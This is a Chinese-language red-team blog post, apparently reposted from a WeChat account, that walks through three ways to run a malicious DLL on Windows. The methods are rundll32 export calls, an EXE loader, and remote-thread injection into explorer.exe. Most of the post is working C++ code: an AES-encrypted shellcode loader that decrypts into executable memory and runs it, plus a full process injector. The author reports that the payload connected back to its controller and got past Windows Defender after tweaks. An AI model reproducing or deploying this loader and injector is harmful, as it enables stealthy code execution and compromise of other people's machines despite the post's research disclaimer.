DLL 注入术(二):三种方式,让 DLL 顺利运行起来

admin 2025年6月19日21:55:56评论16 views字数 6259阅读20分51秒阅读模式

📌 免责声明:本系列文章仅供网络安全研究人员在合法授权下学习与研究使用,严禁用于任何非法目的。违者后果自负。

DLL(Dynamic Link Library)本质上是无法通过双击直接执行的,它必须被其他程序加载调用。在攻防演练实战中,我们常常需要将编写好的 DLL 加载并执行其恶意逻辑,以下是三种常见方式:

一、rundll32.exe运行dll代码

rundll32.exe 是 Windows 提供的一个系统程序,专门用于调用 DLL 文件中导出的函数。 

1、首先写一个能用rundll32运行的加载shellcode上线的DLL代码,一定要加上调试代码!

为了让rundll32.exe成功运行你的DLL,该DLL必须满足下面两点:

①必须导出一个函数,函数名不能被C++修饰(即必须extern"C"),并且符合签名;

②不能使用DllMain作为主逻辑,rundll32不会自动执行你在DllMain中的恶意代码,必须通过导出的函数触发。

... // 前面shellcode处理相关代码省略extern "C" __declspec(dllexport) void CALLBACK Start(LPWSTR lpCmdLine, DWORD nCmdShow) {    MessageBoxA(NULL"Start() called""Debug", MB_OK);    HANDLE hThread = CreateThread(NULL0, RunShellcode, NULL0NULL);    if (hThread == NULL) {        MessageBoxA(NULL"CreateThread failed""Error", MB_OK);    }    else {        WaitForSingleObject(hThread, INFINITE); // 避免主线程提前退出        CloseHandle(hThread);    }}// =========== 标准 DllMain ===========BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {    if (fdwReason == DLL_PROCESS_ATTACH) {        DisableThreadLibraryCalls(hinstDLL);  // 减少不必要的通知    }    return TRUE;}

2、编译

首先,位数一定要匹配。因此编译时也选64位

DLL 注入术(二):三种方式,让 DLL 顺利运行起来

其次,用VS创建DLL项目时,默认会有固定的头文件。这里可以取消掉

DLL 注入术(二):三种方式,让 DLL 顺利运行起来

3、使用如下命令运行dll

rundll32.exe qiuhuiDLL2.dll,Start#rundll32.exe <DLL路径>,<导出函数名>

成功上线!

DLL 注入术(二):三种方式,让 DLL 顺利运行起来
二、写exe调用dll

这是开发测试阶段常用的方式

1、重新写一个加载shellcode上线的DLL,这次改用aes

// dllmain.cpp...#include<wincrypt.h>#pragma comment(lib, "advapi32.lib")// ===== AES Key & IV(必须与加密一致)=====BYTE aesKey[16] = {   // 自己的key};BYTE aesIV[16] = {   // 自己的IV};// ===== 你用 AES 加密后的 shellcode(示例)=====unsigned char encrypted_shellcode[] = {    0xf50x1f0xd70x50, ...};size_t encrypted_len = sizeof(encrypted_shellcode);// ===== 解密函数(AES-128-CBC)=====BOOL DecryptShellcode(BYTE* encData, DWORD encLen, BYTE** outData, DWORD* outLen) {    HCRYPTPROV hProv = 0;    HCRYPTKEY hKey = 0;    BOOL success = FALSE;    *outData = NULL;    *outLen = 0;    // 构造明文密钥Blob    BYTE keyBlob[sizeof(BLOBHEADER) + sizeof(DWORD) + 16] = { 0 };    BLOBHEADER* blobHeader = (BLOBHEADER*)keyBlob;    blobHeader->bType = PLAINTEXTKEYBLOB;    blobHeader->bVersion = CUR_BLOB_VERSION;    blobHeader->reserved = 0;    blobHeader->aiKeyAlg = CALG_AES_128;    *(DWORD*)(keyBlob + sizeof(BLOBHEADER)) = 16;    memcpy(keyBlob + sizeof(BLOBHEADER) + sizeof(DWORD), aesKey, 16);    BYTE* buf = (BYTE*)malloc(encLen);    if (!buf) return FALSE;    memcpy(buf, encData, encLen);    do {        if (!CryptAcquireContext(&hProv, NULLNULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) break;        if (!CryptImportKey(hProv, keyBlob, sizeof(keyBlob), 00, &hKey)) break;        if (!CryptSetKeyParam(hKey, KP_IV, aesIV, 0)) break;        DWORD bufLen = encLen;        if (!CryptDecrypt(hKey, 0TRUE0, buf, &bufLen)) break;        *outData = buf;        *outLen = bufLen;        success = TRUE;    } while (0);    if (!success && buf) free(buf);    if (hKey) CryptDestroyKey(hKey);    if (hProv) CryptReleaseContext(hProv, 0);    return success;}// ===== shellcode 执行函数 =====DWORD WINAPI RunShellcode(LPVOID) {    BYTE* shellcode = NULL;    DWORD shellcodeLen = 0;    if (!DecryptShellcode(encrypted_shellcode, encrypted_len, &shellcode, &shellcodeLen)) {        MessageBoxA(NULL"AES 解密失败""错误", MB_OK);        return 1;    }    void* exec = VirtualAlloc(NULL, shellcodeLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!exec) return 2;    memcpy(exec, shellcode, shellcodeLen);    SecureZeroMemory(shellcode, shellcodeLen);    free(shellcode);    ((void(*)())exec)(); // 执行 shellcode    return 0;}// ===== DLL 自动执行点 =====BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {    if (fdwReason == DLL_PROCESS_ATTACH) {        DisableThreadLibraryCalls(hinstDLL);        CreateThread(NULL0, RunShellcode, NULL0NULL);    }    return TRUE;}

2、写一个exe加载器

...intwmain(int argc, wchar_t* argv[]){    if (argc != 2) {        std::wcout << L"用法: LoadDll.exe <完整DLL路径>" << std::endl;        return 1;    }    const wchar_t* dllPath = argv[1];    std::wcout << L"正在尝试加载 DLL: " << dllPath << std::endl;    HMODULE hMod = LoadLibraryW(dllPath);    if (hMod == NULL) {        DWORD err = GetLastError();        std::wcerr << L"LoadLibraryW 失败,错误码: " << err << std::endl;        return 1;    }    std::wcout << L"DLL 加载成功!模块句柄: " << hMod << std::endl;    // 可选:等待手动关闭,以便观察效果    std::wcout << L"按任意键退出..." << std::endl;    std::wcin.get();    // 卸载 DLL(可选)    FreeLibrary(hMod);    return 0;}

3、两者编译出来,放到DF上执行,成功上线!

DLL 注入术(二):三种方式,让 DLL 顺利运行起来
三、远程线程注入dll

这是最常见最基本的DLL注入方式,通过远程线程注入的方式来加载DLL,运行你的恶意函数

1、由于刚才已经拥有DLL,这里再写一个远程注入的注入器即可

...// 用进程名查找目标进程 PIDDWORD FindProcessId(const std::wstring& processName){    PROCESSENTRY32W pe32 = { 0 };    pe32.dwSize = sizeof(PROCESSENTRY32W);    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;    if (Process32FirstW(hSnapshot, &pe32)) {        do {            if (!_wcsicmp(pe32.szExeFile, processName.c_str())) {                CloseHandle(hSnapshot);                return pe32.th32ProcessID;            }        } while (Process32NextW(hSnapshot, &pe32));    }    CloseHandle(hSnapshot);    return 0;}intmain(){    const wchar_t* targetProcess = L"explorer.exe";  // 🟡 你可以改成目标进程名    const char* dllPath = "C:\Users\Defender\Desktop\qiuhuiDLL.dll"// 🟥 修改为你DLL的绝对路径    DWORD pid = FindProcessId(targetProcess);    if (pid == 0) {        std::cout << "未找到目标进程n";        return 1;    }    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);    if (!hProcess) {        std::cout << "打开目标进程失败n";        return 1;    }    size_t pathLen = strlen(dllPath) + 1;    LPVOID remoteBuf = VirtualAllocEx(hProcess, nullptr, pathLen, MEM_COMMIT, PAGE_READWRITE);    if (!remoteBuf) {        std::cout << "内存分配失败n";        CloseHandle(hProcess);        return 1;    }    BOOL written = WriteProcessMemory(hProcess, remoteBuf, dllPath, pathLen, nullptr);    if (!written) {        std::cout << "写入内存失败n";        VirtualFreeEx(hProcess, remoteBuf, 0, MEM_RELEASE);        CloseHandle(hProcess);        return 1;    }    // 获取 LoadLibraryA 函数地址(本地)    LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");    if (!loadLibAddr) {        std::cout << "获取 LoadLibraryA 地址失败n";        return 1;    }    // 创建远程线程执行 LoadLibraryA(dllPath)    HANDLE hThread = CreateRemoteThread(hProcess, nullptr0,        (LPTHREAD_START_ROUTINE)loadLibAddr, remoteBuf, 0nullptr);    if (!hThread) {        std::cout << "创建远程线程失败n";        VirtualFreeEx(hProcess, remoteBuf, 0, MEM_RELEASE);        CloseHandle(hProcess);        return 1;    }    std::cout << "注入成功,等待远程线程结束...n";    WaitForSingleObject(hThread, INFINITE);    VirtualFreeEx(hProcess, remoteBuf, 0, MEM_RELEASE);    CloseHandle(hThread);    CloseHandle(hProcess);    return 0;}

 2、编译出来,放到DF上,直接双击。上线之后立马被干!

DLL 注入术(二):三种方式,让 DLL 顺利运行起来

后续稍微处理一下,成功上线执行命令

DLL 注入术(二):三种方式,让 DLL 顺利运行起来

#DLL加载 #rundll32调用 #EXE加载器 #远程线程注入 #DLL注入

原文始发于微信公众号(仇辉攻防):DLL 注入术(二):三种方式,让 DLL 顺利运行起来

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月19日21:55:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DLL 注入术(二):三种方式,让 DLL 顺利运行起来https://cn-sec.com/archives/4179451.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息